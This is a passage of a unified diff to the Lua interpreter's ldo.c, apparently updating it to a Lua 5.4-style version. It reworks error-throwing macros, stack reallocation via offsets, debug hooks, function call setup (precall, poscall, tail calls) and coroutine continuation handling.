luai_jmpbuf jmp_buf +#elif defined(LUA_USE_POSIX) /* }{ */ -#else -/* default handling with long jumps */ -#define LUAI_THROW(L,c) longjmp((c)->b, 1) -#define LUAI_TRY(L,c,a) if (setjmp((c)->b) == 0) { a } -#define luai_jmpbuf jmp_buf +/* in POSIX, try _longjmp/_setjmp (more efficient) */ +#define LUAI_THROW(L,c) _longjmp((c)->b, 1) +#define LUAI_TRY(L,c,a) if (_setjmp((c)->b) == 0) { a } +#define luai_jmpbuf jmp_buf -#endif +#else /* }{ */ -#endif +/* ISO C handling with long jumps */ +#define LUAI_THROW(L,c) longjmp((c)->b, 1) +#define LUAI_TRY(L,c,a) if (setjmp((c)->b) == 0) { a } +#define luai_jmpbuf jmp_buf + +#endif /* } */ + +#endif /* } */ @@ -81,7 +88,7 @@ struct lua_longjmp { }; -static void seterrorobj(lua_State *L, int errcode, StkId oldtop) { +void luaD_seterrorobj(lua_State *L, int errcode, StkId oldtop) { switch (errcode) { case LUA_ERRMEM: { /* memory error? */ setsvalue2s(L, oldtop, G(L)->memerrmsg); /* reuse preregistered msg. */ @@ -91,12 +98,17 @@ static void seterrorobj(lua_State *L, int errcode, StkId oldtop) { setsvalue2s(L, oldtop, luaS_newliteral(L, "error in error handling")); break; } + case LUA_OK: { /* special case only for closing upvalues */ + setnilvalue(s2v(oldtop)); /* no error message */ + break; + } default: { - setobjs2s(L, oldtop, L->top - 1); /* error message on current top */ + lua_assert(errorstatus(errcode)); /* real error */ + setobjs2s(L, oldtop, L->top.p - 1); /* error message on current top */ break; } } - L->top = oldtop + 1; + L->top.p = oldtop + 1; } @@ -105,14 +117,15 @@ l_noret luaD_throw(lua_State *L, int errcode) { L->errorJmp->status = errcode; /* set status */ LUAI_THROW(L, L->errorJmp); /* jump to it */ } else { /* thread has no error handler */ - L->status = cast_byte(errcode); /* mark it as dead */ - if (G(L)->mainthread->errorJmp) { /* main thread has a handler? */ - setobjs2s(L, G(L)->mainthread->top++, L->top - 1); /* copy error obj. */ - luaD_throw(G(L)->mainthread, errcode); /* re-throw in main thread */ + global_State *g = G(L); + errcode = luaE_resetthread(L, errcode); /* close all upvalues */ + if (g->mainthread->errorJmp) { /* main thread has a handler? */ + setobjs2s(L, g->mainthread->top.p++, L->top.p - 1); /* copy error obj. */ + luaD_throw(g->mainthread, errcode); /* re-throw in main thread */ } else { /* no handler at all; abort */ - if (G(L)->panic) { /* panic function? */ + if (g->panic) { /* panic function? */ lua_unlock(L); - G(L)->panic(L); /* call it (last chance to jump out) */ + g->panic(L); /* call panic function (last chance to jump out) */ } abort(); } @@ -121,7 +134,7 @@ l_noret luaD_throw(lua_State *L, int errcode) { int luaD_rawrunprotected(lua_State *L, Pfunc f, void *ud) { - unsigned short oldnCcalls = L->nCcalls; + l_uint32 oldnCcalls = L->nCcalls; struct lua_longjmp lj; lj.status = LUA_OK; lj.previous = L->errorJmp; /* chain new error handler */ @@ -137,314 +150,601 @@ int luaD_rawrunprotected(lua_State *L, Pfunc f, void *ud) { /* }====================================================== */ -static void correctstack(lua_State *L, TValue *oldstack) { +/* +** {================================================================== +** Stack reallocation +** =================================================================== +*/ + + +/* +** Change all pointers to the stack into offsets. +*/ +static void relstack(lua_State *L) { CallInfo *ci; - GCObject *up; - L->top = (L->top - oldstack) + L->stack; - for (up = L->openupval; up != NULL; up = up->gch.next) - gco2uv(up)->v = (gco2uv(up)->v - oldstack) + L->stack; + UpVal *up; + L->top.offset = savestack(L, L->top.p); + L->tbclist.offset = savestack(L, L->tbclist.p); + for (up = L->openupval; up != NULL; up = up->u.open.next) + up->v.offset = savestack(L, uplevel(up)); for (ci = L->ci; ci != NULL; ci = ci->previous) { - ci->top = (ci->top - oldstack) + L->stack; - ci->func = (ci->func - oldstack) + L->stack; + ci->top.offset = savestack(L, ci->top.p); + ci->func.offset = savestack(L, ci->func.p); + } +} + + +/* +** Change back all offsets into pointers. +*/ +static void correctstack(lua_State *L) { + CallInfo *ci; + UpVal *up; + L->top.p = restorestack(L, L->top.offset); + L->tbclist.p = restorestack(L, L->tbclist.offset); + for (up = L->openupval; up != NULL; up = up->u.open.next) + up->v.p = s2v(restorestack(L, up->v.offset)); + for (ci = L->ci; ci != NULL; ci = ci->previous) { + ci->top.p = restorestack(L, ci->top.offset); + ci->func.p = restorestack(L, ci->func.offset); if (isLua(ci)) - ci->u.l.base = (ci->u.l.base - oldstack) + L->stack; + ci->u.l.trap = 1; /* signal to update 'trap' in 'luaV_execute' */ } } /* some space for error handling */ -#define ERRORSTACKSIZE (LUAI_MAXSTACK + 200) +#define ERRORSTACKSIZE (LUAI_MAXSTACK + 200) - -void luaD_reallocstack(lua_State *L, int newsize) { - TValue *oldstack = L->stack; - int lim = L->stacksize; +/* +** Reallocate the stack to a new size, correcting all pointers into it. +** In ISO C, any pointer use after the pointer has been deallocated is +** undefined behavior. So, before the reallocation, all pointers are +** changed to offsets, and after the reallocation they are changed back +** to pointers. As during the reallocation the pointers are invalid, the +** reallocation cannot run emergency collections. +** +** In case of allocation error, raise an error or return false according +** to 'raiseerror'. +*/ +int luaD_reallocstack(lua_State *L, int newsize, int raiseerror) { + int oldsize = stacksize(L); + int i; + StkId newstack; + int oldgcstop = G(L)->gcstopem; lua_assert(newsize <= LUAI_MAXSTACK || newsize == ERRORSTACKSIZE); - lua_assert(L->stack_last - L->stack == L->stacksize - EXTRA_STACK); - luaM_reallocvector(L, L->stack, L->stacksize, newsize, TValue); - for (; lim < newsize; lim++) - setnilvalue(L->stack + lim); /* erase new segment */ - L->stacksize = newsize; - L->stack_last = L->stack + newsize - EXTRA_STACK; - correctstack(L, oldstack); -} - - -void luaD_growstack(lua_State *L, int n) { - int size = L->stacksize; - if (size > LUAI_MAXSTACK) /* error after extra size? */ - luaD_throw(L, LUA_ERRERR); - else { - int needed = cast_int(L->top - L->stack) + n + EXTRA_STACK; - int newsize = 2 * size; - if (newsize > LUAI_MAXSTACK) newsize = LUAI_MAXSTACK; - if (newsize < needed) newsize = needed; - if (newsize > LUAI_MAXSTACK) { /* stack overflow? */ - luaD_reallocstack(L, ERRORSTACKSIZE); - luaG_runerror(L, "stack overflow"); - } else - luaD_reallocstack(L, newsize); + relstack(L); /* change pointers to offsets */ + G(L)->gcstopem = 1; /* stop emergency collection */ + newstack = luaM_reallocvector(L, L->stack.p, oldsize + EXTRA_STACK, + newsize + EXTRA_STACK, StackValue); + G(L)->gcstopem = oldgcstop; /* restore emergency collection */ + if (l_unlikely(newstack == NULL)) { /* reallocation failed? */ + correctstack(L); /* change offsets back to pointers */ + if (raiseerror) + luaM_error(L); + else return 0; /* do not raise an error */ } + L->stack.p = newstack; + correctstack(L); /* change offsets back to pointers */ + L->stack_last.p = L->stack.p + newsize; + for (i = oldsize + EXTRA_STACK; i < newsize + EXTRA_STACK; i++) + setnilvalue(s2v(newstack + i)); /* erase new segment */ + return 1; } +/* +** Try to grow the stack by at least 'n' elements. When 'raiseerror' +** is true, raises any error; otherwise, return 0 in case of errors. +*/ +int luaD_growstack(lua_State *L, int n, int raiseerror) { + int size = stacksize(L); + if (l_unlikely(size > LUAI_MAXSTACK)) { + /* if stack is larger than maximum, thread is already using the + extra space reserved for errors, that is, thread is handling + a stack error; cannot grow further than that. */ + lua_assert(stacksize(L) == ERRORSTACKSIZE); + if (raiseerror) + luaD_throw(L, LUA_ERRERR); /* error inside message handler */ + return 0; /* if not 'raiseerror', just signal it */ + } else if (n < LUAI_MAXSTACK) { /* avoids arithmetic overflows */ + int newsize = 2 * size; /* tentative new size */ + int needed = cast_int(L->top.p - L->stack.p) + n; + if (newsize > LUAI_MAXSTACK) /* cannot cross the limit */ + newsize = LUAI_MAXSTACK; + if (newsize < needed) /* but must respect what was asked for */ + newsize = needed; + if (l_likely(newsize <= LUAI_MAXSTACK)) + return luaD_reallocstack(L, newsize, raiseerror); + } + /* else stack overflow */ + /* add extra size to be able to handle the error message */ + luaD_reallocstack(L, ERRORSTACKSIZE, raiseerror); + if (raiseerror) + luaG_runerror(L, "stack overflow"); + return 0; +} + + +/* +** Compute how much of the stack is being used, by computing the +** maximum top of all call frames in the stack and the current top. +*/ static int stackinuse(lua_State *L) { CallInfo *ci; - StkId lim = L->top; + int res; + StkId lim = L->top.p; for (ci = L->ci; ci != NULL; ci = ci->previous) { - lua_assert(ci->top <= L->stack_last); - if (lim < ci->top) lim = ci->top; + if (lim < ci->top.p) lim = ci->top.p; } - return cast_int(lim - L->stack) + 1; /* part of stack in use */ + lua_assert(lim <= L->stack_last.p + EXTRA_STACK); + res = cast_int(lim - L->stack.p) + 1; /* part of stack in use */ + if (res < LUA_MINSTACK) + res = LUA_MINSTACK; /* ensure a minimum size */ + return res; } +/* +** If stack size is more than 3 times the current use, reduce that size +** to twice the current use. (So, the final stack size is at most 2/3 the +** previous size, and half of its entries are empty.) +** As a particular case, if stack was handling a stack overflow and now +** it is not, 'max' (limited by LUAI_MAXSTACK) will be smaller than +** stacksize (equal to ERRORSTACKSIZE in this case), and so the stack +** will be reduced to a "regular" size. +*/ void luaD_shrinkstack(lua_State *L) { int inuse = stackinuse(L); - int goodsize = inuse + (inuse / 8) + 2 * EXTRA_STACK; - if (goodsize > LUAI_MAXSTACK) goodsize = LUAI_MAXSTACK; - if (inuse > LUAI_MAXSTACK || /* handling stack overflow? */ - goodsize >= L->stacksize) /* would grow instead of shrink? */ - condmovestack(L); /* don't change stack (change only for debugging) */ - else - luaD_reallocstack(L, goodsize); /* shrink it */ + int max = (inuse > LUAI_MAXSTACK / 3) ? LUAI_MAXSTACK : inuse * 3; + /* if thread is currently not handling a stack overflow and its + size is larger than maximum "reasonable" size, shrink it */ + if (inuse <= LUAI_MAXSTACK && stacksize(L) > max) { + int nsize = (inuse > LUAI_MAXSTACK / 2) ? LUAI_MAXSTACK : inuse * 2; + luaD_reallocstack(L, nsize, 0); /* ok if that fails */ + } else /* don't change stack */ + condmovestack(L, {}, {}); /* (change only for debugging) */ + luaE_shrinkCI(L); /* shrink CI list */ } -void luaD_hook(lua_State *L, int event, int line) { +void luaD_inctop(lua_State *L) { + luaD_checkstack(L, 1); + L->top.p++; +} + +/* }================================================================== */ + + +/* +** Call a hook for the given event. Make sure there is a hook to be +** called. (Both 'L->hook' and 'L->hookmask', which trigger this +** function, can be changed asynchronously by signals.) +*/ +void luaD_hook(lua_State *L, int event, int line, + int ftransfer, int ntransfer) { lua_Hook hook = L->hook; - if (hook && L->allowhook) { + if (hook && L->allowhook) { /* make sure there is a hook */ + int mask = CIST_HOOKED; CallInfo *ci = L->ci; - ptrdiff_t top = savestack(L, L->top); - ptrdiff_t ci_top = savestack(L, ci->top); + ptrdiff_t top = savestack(L, L->top.p); /* preserve original 'top' */ + ptrdiff_t ci_top = savestack(L, ci->top.p); /* idem for 'ci->top' */ lua_Debug ar; ar.event = event; ar.currentline = line; ar.i_ci = ci; + if (ntransfer != 0) { + mask |= CIST_TRAN; /* 'ci' has transfer information */ + ci->u2.transferinfo.ftransfer = ftransfer; + ci->u2.transferinfo.ntransfer = ntransfer; + } + if (isLua(ci) && L->top.p < ci->top.p) + L->top.p = ci->top.p; /* protect entire activation register */ luaD_checkstack(L, LUA_MINSTACK); /* ensure minimum stack size */ - ci->top = L->top + LUA_MINSTACK; - lua_assert(ci->top <= L->stack_last); + if (ci->top.p < L->top.p + LUA_MINSTACK) + ci->top.p = L->top.p + LUA_MINSTACK; L->allowhook = 0; /* cannot call hooks inside a hook */ - ci->callstatus |= CIST_HOOKED; + ci->callstatus |= mask; lua_unlock(L); (*hook)(L, &ar); lua_lock(L); lua_assert(!L->allowhook); L->allowhook = 1; - ci->top = restorestack(L, ci_top); - L->top = restorestack(L, top); - ci->callstatus &= ~CIST_HOOKED; + ci->top.p = restorestack(L, ci_top); + L->top.p = restorestack(L, top); + ci->callstatus &= ~mask; } } -static void callhook(lua_State *L, CallInfo *ci) { - int hook = LUA_HOOKCALL; - ci->u.l.savedpc++; /* hooks assume 'pc' is already incremented */ - if (isLua(ci->previous) && - GET_OPCODE(*(ci->previous->u.l.savedpc - 1)) == OP_TAILCALL) { - ci->callstatus |= CIST_TAIL; - hook = LUA_HOOKTAILCALL; +/* +** Executes a call hook for Lua functions. This function is called +** whenever 'hookmask' is not zero, so it checks whether call hooks are +** active. +*/ +void luaD_hookcall(lua_State *L, CallInfo *ci) { + L->oldpc = 0; /* set 'oldpc' for new function */ + if (L->hookmask & LUA_MASKCALL) { /* is call hook on? */ + int event = (ci->callstatus & CIST_TAIL) ? LUA_HOOKTAILCALL + : LUA_HOOKCALL; + Proto *p = ci_func(ci)->p; + ci->u.l.savedpc++; /* hooks assume 'pc' is already incremented */ + luaD_hook(L, event, -1, 1, p->numparams); + ci->u.l.savedpc--; /* correct 'pc' */ } - luaD_hook(L, hook, -1); - ci->u.l.savedpc--; /* correct 'pc' */ } -static StkId adjust_varargs(lua_State *L, Proto *p, int actual) { - int i; - int nfixargs = p->numparams; - StkId base, fixed; - lua_assert(actual >= nfixargs); - /* move fixed parameters to final position */ - luaD_checkstack(L, p->maxstacksize); /* check again for new 'base' */ - fixed = L->top - actual; /* first fixed argument */ - base = L->top; /* final position of first argument */ - for (i = 0; i < nfixargs; i++) { - setobjs2s(L, L->top++, fixed + i); - setnilvalue(fixed + i); +/* +** Executes a return hook for Lua and C functions and sets/corrects +** 'oldpc'. (Note that this correction is needed by the line hook, so it +** is done even when return hooks are off.) +*/ +static void rethook(lua_State *L, CallInfo *ci, int nres) { + if (L->hookmask & LUA_MASKRET) { /* is return hook on? */ + StkId firstres = L->top.p - nres; /* index of first result */ + int delta = 0; /* correction for vararg functions */ + int ftransfer; + if (isLua(ci)) { + Proto *p = ci_func(ci)->p; + if (p->is_vararg) + delta = ci->u.l.nextraargs + p->numparams + 1; + } + ci->func.p += delta; /* if vararg, back to virtual 'func' */ + ftransfer = cast(unsigned short, firstres - ci->func.p); + luaD_hook(L, LUA_HOOKRET, -1, ftransfer, nres); /* call it */ + ci->func.p -= delta; } - return base; + if (isLua(ci = ci->previous)) + L->oldpc = pcRel(ci->u.l.savedpc, ci_func(ci)->p); /* set 'oldpc' */ } +/* +** Check whether 'func' has a '__call' metafield. If so, put it in the +** stack, below original 'func', so that 'luaD_precall' can call it. Raise +** an error if there is no '__call' metafield. +*/ static StkId tryfuncTM(lua_State *L, StkId func) { - const TValue *tm = luaT_gettmbyobj(L, func, TM_CALL); + const TValue *tm; StkId p; - ptrdiff_t funcr = savestack(L, func); - if (!ttisfunction(tm)) - luaG_typeerror(L, func, "call"); - /* Open a hole inside the stack at `func' */ - for (p = L->top; p > func; p--) setobjs2s(L, p, p - 1); - incr_top(L); - func = restorestack(L, funcr); /* previous call may change stack */ - setobj2s(L, func, tm); /* tag method is the new function to be called */ + checkstackGCp(L, 1, func); /* space for metamethod */ + tm = luaT_gettmbyobj(L, s2v(func), TM_CALL); /* (after previous GC) */ + if (l_unlikely(ttisnil(tm))) + luaG_callerror(L, s2v(func)); /* nothing to call */ + for (p = L->top.p; p > func; p--) /* open space for metamethod */ + setobjs2s(L, p, p - 1); + L->top.p++; /* stack space pre-allocated by the caller */ + setobj2s(L, func, tm); /* metamethod is the new function to be called */ return func; } - -#define next_ci(L) (L->ci = (L->ci->next ? L->ci->next : luaE_extendCI(L))) +/* +** Given 'nres' results at 'firstResult', move 'wanted' of them to 'res'. +** Handle most typical cases (zero results for commands, one result for +** expressions, multiple results for tail calls/single parameters) +** separated. +*/ +l_sinline void moveresults(lua_State *L, StkId res, int nres, int wanted) { + StkId firstresult; + int i; + switch (wanted) { /* handle typical cases separately */ + case 0: /* no values needed */ + L->top.p = res; + return; + case 1: /* one value needed */ + if (nres == 0) /* no results? */ + setnilvalue(s2v(res)); /* adjust with nil */ + else /* at least one result */ + setobjs2s(L, res, L->top.p - nres); /* move it to proper place */ + L->top.p = res + 1; + return; + case LUA_MULTRET: + wanted = nres; /* we want all results */ + break; + default: /* two/more results and/or to-be-closed variables */ + if (hastocloseCfunc(wanted)) { /* to-be-closed variables? */ + L->ci->callstatus |= CIST_CLSRET; /* in case of yields */ + L->ci->u2.nres = nres; + res = luaF_close(L, res, CLOSEKTOP, 1); + L->ci->callstatus &= ~CIST_CLSRET; + if (L->hookmask) { /* if needed, call hook after '__close's */ + ptrdiff_t savedres = savestack(L, res); + rethook(L, L->ci, nres); + res = restorestack(L, savedres); /* hook can move stack */ + } + wanted = decodeNresults(wanted); + if (wanted == LUA_MULTRET) + wanted = nres; /* we want all results */ + } + break; + } + /* generic case */ + firstresult = L->top.p - nres; /* index of first result */ + if (nres > wanted) /* extra results? */ + nres = wanted; /* don't need them */ + for (i = 0; i < nres; i++) /* move all results to correct place */ + setobjs2s(L, res + i, firstresult + i); + for (; i < wanted; i++) /* complete wanted number of results */ + setnilvalue(s2v(res + i)); + L->top.p = res + wanted; /* top points after the last result */ +} /* -** returns true if function has been executed (C function) +** Finishes a function call: calls hook if necessary, moves current +** number of results to proper place, and returns to previous call +** info. If function has to close variables, hook must be called after +** that. */ -int luaD_precall(lua_State *L, StkId func, int nresults) { - lua_CFunction f; +void luaD_poscall(lua_State *L, CallInfo *ci, int nres) { + int wanted = ci->nresults; + if (l_unlikely(L->hookmask && !hastocloseCfunc(wanted))) + rethook(L, ci, nres); + /* move results to proper place */ + moveresults(L, ci->func.p, nres, wanted); + /* function cannot be in any of these cases when returning */ + lua_assert(!(ci->callstatus & + (CIST_HOOKED | CIST_YPCALL | CIST_FIN | CIST_TRAN | CIST_CLSRET))); + L->ci = ci->previous; /* back to caller (after closing variables) */ +} + + + +#define next_ci(L) (L->ci->next ? L->ci->next : luaE_extendCI(L)) + + +l_sinline CallInfo *prepCallInfo(lua_State *L, StkId func, int nret, + int mask, StkId top) { + CallInfo *ci = L->ci = next_ci(L); /* new frame */ + ci->func.p = func; + ci->nresults = nret; + ci->callstatus = mask; + ci->top.p = top; + return ci; +} + + +/* +** precall for C functions +*/ +l_sinline int precallC(lua_State *L, StkId func, int nresults, + lua_CFunction f) { + int n; /* number of returns */ CallInfo *ci; - int n; /* number of arguments (Lua) or returns (C) */ - ptrdiff_t funcr = savestack(L, func); - switch (ttype(func)) { - case LUA_TLCF: /* light C function */ - f = fvalue(func); - goto Cfunc; - case LUA_TCCL: { /* C closure */ - f = clCvalue(func)->f; -Cfunc: - luaD_checkstack(L, LUA_MINSTACK); /* ensure minimum stack size */ - ci = next_ci(L); /* now 'enter' new function */ - ci->nresults = nresults; - ci->func = restorestack(L, funcr); - ci->top = L->top + LUA_MINSTACK; - lua_assert(ci->top <= L->stack_last); - ci->callstatus = 0; - luaC_checkGC(L); /* stack grow uses memory */ - if (L->hookmask & LUA_MASKCALL) - luaD_hook(L, LUA_HOOKCALL, -1); - lua_unlock(L); - n = (*f)(L); /* do the actual call */ - lua_lock(L); - api_checknelems(L, n); - luaD_poscall(L, L->top - n); - return 1; - } - case LUA_TLCL: { /* Lua function: prepare its call */ - StkId base; - Proto *p = clLvalue(func)->p; - n = cast_int(L->top - func) - 1; /* number of real arguments */ - luaD_checkstack(L, p->maxstacksize); - for (; n < p->numparams; n++) { - setnilvalue(L->top++); /* complete missing arguments */ - } - if (!p->is_vararg) { - func = restorestack(L, funcr); - base = func + 1; - } else { - base = adjust_varargs(L, p, n); - func = restorestack(L, funcr); /* previous call can change stack */ - } - - ci = next_ci(L); /* now 'enter' new function */ - ci->nresults = nresults; - ci->func = func; - ci->u.l.base = base; - ci->top = base + p->maxstacksize; - lua_assert(ci->top <= L->stack_last); - ci->u.l.savedpc = p->code; /* starting point */ - ci->callstatus = CIST_LUA; - L->top = ci->top; - luaC_checkGC(L); /* stack grow uses memory */ - if (L->hookmask & LUA_MASKCALL) - callhook(L, ci); - return 0; - } - default: { /* not a function */ - func = tryfuncTM(L, func); /* retry with 'function' tag method */ - return luaD_precall(L, func, nresults); /* now it must be a function */ - } + checkstackGCp(L, LUA_MINSTACK, func); /* ensure minimum stack size */ + L->ci = ci = prepCallInfo(L, func, nresults, CIST_C, + L->top.p + LUA_MINSTACK); + lua_assert(ci->top.p <= L->stack_last.p); + if (l_unlikely(L->hookmask & LUA_MASKCALL)) { + int narg = cast_int(L->top.p - func) - 1; + luaD_hook(L, LUA_HOOKCALL, -1, 1, narg); } -} - - -int luaD_poscall(lua_State *L, StkId firstResult) { - StkId res; - int wanted, i; - CallInfo *ci = L->ci; - if (L->hookmask & (LUA_MASKRET | LUA_MASKLINE)) { - if (L->hookmask & LUA_MASKRET) { - ptrdiff_t fr = savestack(L, firstResult); /* hook may change stack */ - luaD_hook(L, LUA_HOOKRET, -1); - firstResult = restorestack(L, fr); - } - L->oldpc = ci->previous->u.l.savedpc; /* 'oldpc' for caller function */ - } - res = ci->func; /* res == final position of 1st result */ - wanted = ci->nresults; - L->ci = ci = ci->previous; /* back to caller */ - /* move results to correct place */ - for (i = wanted; i != 0 && firstResult < L->top; i--) - setobjs2s(L, res++, firstResult++); - while (i-- > 0) - setnilvalue(res++); - L->top = res; - return (wanted - LUA_MULTRET); /* 0 iff wanted == LUA_MULTRET */ -} - - -/* -** Call a function (C or Lua). The function to be called is at *func. -** The arguments are on the stack, right after the function. -** When returns, all the results are on the stack, starting at the original -** function position. -*/ -void luaD_call(lua_State *L, StkId func, int nResults, int allowyield) { - if (++L->nCcalls >= LUAI_MAXCCALLS) { - if (L->nCcalls == LUAI_MAXCCALLS) - luaG_runerror(L, "C stack overflow"); - else if (L->nCcalls >= (LUAI_MAXCCALLS + (LUAI_MAXCCALLS >> 3))) - luaD_throw(L, LUA_ERRERR); /* error while handing stack error */ - } - if (!allowyield) L->nny++; - if (!luaD_precall(L, func, nResults)) /* is a Lua function? */ - luaV_execute(L); /* call it */ - if (!allowyield) L->nny--; - L->nCcalls--; -} - - -static void finishCcall(lua_State *L) { - CallInfo *ci = L->ci; - int n; - lua_assert(ci->u.c.k != NULL); /* must have a continuation */ - lua_assert(L->nny == 0); - if (ci->callstatus & CIST_YPCALL) { /* was inside a pcall? */ - ci->callstatus &= ~CIST_YPCALL; /* finish 'lua_pcall' */ - L->errfunc = ci->u.c.old_errfunc; - } - /* finish 'lua_callk'/'lua_pcall' */ - adjustresults(L, ci->nresults); - /* call continuation function */ - if (!(ci->callstatus & CIST_STAT)) /* no call status? */ - ci->u.c.status = LUA_YIELD; /* 'default' status */ - lua_assert(ci->u.c.status != LUA_OK); - ci->callstatus = (ci->callstatus & ~(CIST_YPCALL | CIST_STAT)) | CIST_YIELDED; lua_unlock(L); - n = (*ci->u.c.k)(L); + n = (*f)(L); /* do the actual call */ lua_lock(L); api_checknelems(L, n); - /* finish 'luaD_precall' */ - luaD_poscall(L, L->top - n); + luaD_poscall(L, ci, n); + return n; } -static void unroll(lua_State *L, void *ud) { - UNUSED(ud); - for (;;) { - if (L->ci == &L->base_ci) /* stack is empty? */ - return; /* coroutine finished normally */ - if (!isLua(L->ci)) /* C function? */ - finishCcall(L); - else { /* Lua function */ - luaV_finishOp(L); /* finish interrupted instruction */ - luaV_execute(L); /* execute down to higher C 'boundary' */ +/* +** Prepare a function for a tail call, building its call info on top +** of the current call info. 'narg1' is the number of arguments plus 1 +** (so that it includes the function itself). Return the number of +** results, if it was a C function, or -1 for a Lua function. +*/ +int luaD_pretailcall(lua_State *L, CallInfo *ci, StkId func, + int narg1, int delta) { +retry: + switch (ttypetag(s2v(func))) { + case LUA_VCCL: /* C closure */ + return precallC(L, func, LUA_MULTRET, clCvalue(s2v(func))->f); + case LUA_VLCF: /* light C function */ + return precallC(L, func, LUA_MULTRET, fvalue(s2v(func))); + case LUA_VLCL: { /* Lua function */ + Proto *p = clLvalue(s2v(func))->p; + int fsize = p->maxstacksize; /* frame size */ + int nfixparams = p->numparams; + int i; + checkstackGCp(L, fsize - delta, func); + ci->func.p -= delta; /* restore 'func' (if vararg) */ + for (i = 0; i < narg1; i++) /* move down function and arguments */ + setobjs2s(L, ci->func.p + i, func + i); + func = ci->func.p; /* moved-down function */ + for (; narg1 <= nfixparams; narg1++) + setnilvalue(s2v(func + narg1)); /* complete missing arguments */ + ci->top.p = func + 1 + fsize; /* top for new function */ + lua_assert(ci->top.p <= L->stack_last.p); + ci->u.l.savedpc = p->code; /* starting point */ + ci->callstatus |= CIST_TAIL; + L->top.p = func + narg1; /* set top */ + return -1; + } + default: { /* not a function */ + func = tryfuncTM(L, func); /* try to get '__call' metamethod */ + /* return luaD_pretailcall(L, ci, func, narg1 + 1, delta); */ + narg1++; + goto retry; /* try again */ } } } /* -** check whether thread has a suspended protected call +** Prepares the call to a function (C or Lua). For C functions, also do +** the call. The function to be called is at '*func'. The arguments +** are on the stack, right after the function. Returns the CallInfo +** to be executed, if it was a Lua function. Otherwise (a C function) +** returns NULL, with all the results on the stack, starting at the +** original function position. +*/ +CallInfo *luaD_precall(lua_State *L, StkId func, int nresults) { +retry: + switch (ttypetag(s2v(func))) { + case LUA_VCCL: /* C closure */ + precallC(L, func, nresults, clCvalue(s2v(func))->f); + return NULL; + case LUA_VLCF: /* light C function */ + precallC(L, func, nresults, fvalue(s2v(func))); + return NULL; + case LUA_VLCL: { /* Lua function */ + CallInfo *ci; + Proto *p = clLvalue(s2v(func))->p; + int narg = cast_int(L->top.p - func) - 1; /* number of real arguments */ + int nfixparams = p->numparams; + int fsize = p->maxstacksize; /* frame size */ + checkstackGCp(L, fsize, func); + L->ci = ci = prepCallInfo(L, func, nresults, 0, func + 1 + fsize); + ci->u.l.savedpc = p->code; /* starting point */ + for (; narg < nfixparams; narg++) + setnilvalue(s2v(L->top.p++)); /* complete missing arguments */ + lua_assert(ci->top.p <= L->stack_last.p); + return ci; + } + default: { /* not a function */ + func = tryfuncTM(L, func); /* try to get '__call' metamethod */ + /* return luaD_precall(L, func, nresults); */ + goto retry; /* try again with metamethod */ + } + } +} + + +/* +** Call a function (C or Lua) through C. 'inc' can be 1 (increment +** number of recursive invocations in the C stack) or nyci (the same +** plus increment number of non-yieldable calls). +** This function can be called with some use of EXTRA_STACK, so it should +** check the stack before doing anything else. 'luaD_precall' already +** does that. +*/ +l_sinline void ccall(lua_State *L, StkId func, int nResults, l_uint32 inc) { + CallInfo *ci; + L->nCcalls += inc; + if (l_unlikely(getCcalls(L) >= LUAI_MAXCCALLS)) { + checkstackp(L, 0, func); /* free any use of EXTRA_STACK */ + luaE_checkcstack(L); + } + if ((ci = luaD_precall(L, func, nResults)) != NULL) { /* Lua function? */ + ci->callstatus = CIST_FRESH; /* mark that it is a "fresh" execute */ + luaV_execute(L, ci); /* call it */ + } + L->nCcalls -= inc; +} + + +/* +** External interface for 'ccall' +*/ +void luaD_call(lua_State *L, StkId func, int nResults) { + ccall(L, func, nResults, 1); +} + + +/* +** Similar to 'luaD_call', but does not allow yields during the call. +*/ +void luaD_callnoyield(lua_State *L, StkId func, int nResults) { + ccall(L, func, nResults, nyci); +} + + +/* +** Finish the job of 'lua_pcallk' after it was interrupted by an yield. +** (The caller, 'finishCcall', does the final call to 'adjustresults'.) +** The main job is to complete the 'luaD_pcall' called by 'lua_pcallk'. +** If a '__close' method yields here, eventually control will be back +** to 'finishCcall' (when that '__close' method finally returns) and +** 'finishpcallk' will run again and close any still pending '__close' +** methods. Similarly, if a '__close' method errs, 'precover' calls +** 'unroll' which calls ''finishCcall' and we are back here again, to +** close any pending '__close' methods. +** Note that, up to the call to 'luaF_close', the corresponding +** 'CallInfo' is not modified, so that this repeated run works like the +** first one (except that it has at least one less '__close' to do). In +** particular, field CIST_RECST preserves the error status across these +** multiple runs, changing only if there is a new error. +*/ +static int finishpcallk(lua_State *L, CallInfo *ci) { + int status = getcistrecst(ci); /* get original status */ + if (l_likely(status == LUA_OK)) /* no error? */ + status = LUA_YIELD; /* was interrupted by an yield */ + else { /* error */ + StkId func = restorestack(L, ci->u2.funcidx); + L->allowhook = getoah(ci->callstatus); /* restore 'allowhook' */ + func = luaF_close(L, func, status, 1); /* can yield or raise an error */ + luaD_seterrorobj(L, status, func); + luaD_shrinkstack(L); /* restore stack size in case of overflow */ + setcistrecst(ci, LUA_OK); /* clear original status */ + } + ci->callstatus &= ~CIST_YPCALL; + L->errfunc = ci->u.c.old_errfunc; + /* if it is here, there were errors or yields; unlike 'lua_pcallk', + do not change status */ + return status; +} + + +/* +** Completes the execution of a C function interrupted by an yield. +** The interruption must have happened while the function was either +** closing its tbc variables in 'moveresults' or executing +** 'lua_callk'/'lua_pcallk'. In the first case, it just redoes +** 'luaD_poscall'. In the second case, the call to 'finishpcallk' +** finishes the interrupted execution of 'lua_pcallk'. After that, it +** calls the continuation of the interrupted function and finally it +** completes the job of the 'luaD_call' that called the function. In +** the call to 'adjustresults', we do not know the number of results +** of the function called by 'lua_callk'/'lua_pcallk', so we are +** conservative and use LUA_MULTRET (always adjust). +*/ +static void finishCcall(lua_State *L, CallInfo *ci) { + int n; /* actual number of results from C function */ + if (ci->callstatus & CIST_CLSRET) { /* was returning? */ + lua_assert(hastocloseCfunc(ci->nresults)); + n = ci->u2.nres; /* just redo 'luaD_poscall' */ + /* don't need to reset CIST_CLSRET, as it will be set again anyway */ + } else { + int status = LUA_YIELD; /* default if there were no errors */ + /* must have a continuation and must be able to call it */ + lua_assert(ci->u.c.k != NULL && yieldable(L)); + if (ci->callstatus & CIST_YPCALL) /* was inside a 'lua_pcallk'? */ + status = finishpcallk(L, ci); /* finish it */ + adjustresults(L, LUA_MULTRET); /* finish 'lua_callk' */ + lua_unlock(L); + n = (*ci->u.c.k)(L, status, ci->u.c.ctx); /* call continuation */ + lua_lock(L); + api_checknelems(L, n); + } + luaD_poscall(L, ci, n); /* finish 'luaD_call' */ +} + + +/* +** Executes "full continuation" (everything in the stack) of a +** previously interrupted coroutine until the stack is empty (or another +** interruption 